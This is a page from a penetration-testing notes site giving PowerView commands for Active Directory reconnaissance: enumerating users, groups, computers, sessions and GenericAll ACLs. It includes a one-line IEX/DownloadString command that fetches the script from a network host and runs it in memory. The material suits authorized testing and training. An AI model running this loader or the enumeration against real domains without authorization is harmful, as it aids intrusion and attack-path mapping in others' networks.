🤯
Hacker Mind
  • Penetration Testing Notes
    • 00 - Kali Linux Preparation
    • Page 1
    • Web Application (80/443)
      • XSS
      • LFI / Path Traversal
      • Wordpress
    • SMB (445)
    • LDAP
    • MSRPC (135)
    • MSSQL
    • Kerberos (88/tcp)
    • DNS (53)
    • IPv6
    • Import Nessus to Metasploit
  • STUCK? Look at this :D
  • Buffer Overflow
    • WinDbg
    • BoF Script Python
  • Active Directory Recon
    • Username Generation
    • PowerView
    • BloodHound
    • Flooding Attack
  • Payload
    • Sendemail
    • Phishing Payload
    • Bypass All The Things
      • AppLocker
      • MSBuild Shell
      • C# Runner
      • Payload Mod
      • Powershell
      • Bypass AV Linux
        • C Runner
  • Exploit
    • Brute Force
    • File Upload
    • Cracking
    • Shell & Stabilization
    • Database
    • MSSQL Injection
  • Tradecraft
    • Invoke-ReflectivePEInjection
  • Metasploit
    • Meterpreter Tricks
  • Privilege Escalation
    • Lateral Movement
    • Linux
    • Windows
  • Post Exploit
    • Active Directory
      • Kerberos
      • ACLs/ACEs
      • DCSync
      • Golden Ticket with krbtgt
      • LAPS
      • Page
      • Impersonate Token
    • Pivoting
      • Pivot in a Case
    • Transfer File
    • Exfiltration
    • Persistence
  • WiFi Pentesting
    • WPA-PSK
    • WPA-E (hostapd)
    • Attack WEP
    • Evil Twin - Wi-Fi
    • WPA3 Downgrade
  • Hardware Hacking
    • Information Gathering
  • Practice & Lab
Powered by GitBook
On this page
  • User Enumeration
  • Group Enumeration
  • Computer Enumeration
  • ACL Enumeration
  1. Active Directory Recon

PowerView

If you have access to an AD client, with user in the Domain.

Import the PowerView into memory.

PS> Import-Module .\PowerView.ps1

Directly in to memory from web service

IEX (New-Object Net.WebClient).DownloadString('http://192.168.x.x/powerview.ps1')

User Enumeration

PS> Get-NetUser

PS> Get-NetUser | select samaccountname, lastlogon

# interesting things
logoncount
samaccountname
lastlogon

Group Enumeration

PS> Get-NetGroup
PS> Get-NetGroup "Sales Department" | select member

# check nested group

Computer Enumeration

PS> Get-NetComputer | select dnshostname, operationsystem, operationgsystemversion
PS> Resolve-IPAddress client.corp.com
PS> Get-NetSession -ComputerName client2.corp.com -Verbose

ACL Enumeration

PS> Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

# SID enumeration with GenericAll
PS> Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier, ActiveDirectoryRights

# Convert SID to name

PS> "<SID 1>","<SID 2>","<SID 3>" |Convert-SidToName

PreviousUsername GenerationNextBloodHound

Last updated 8 months ago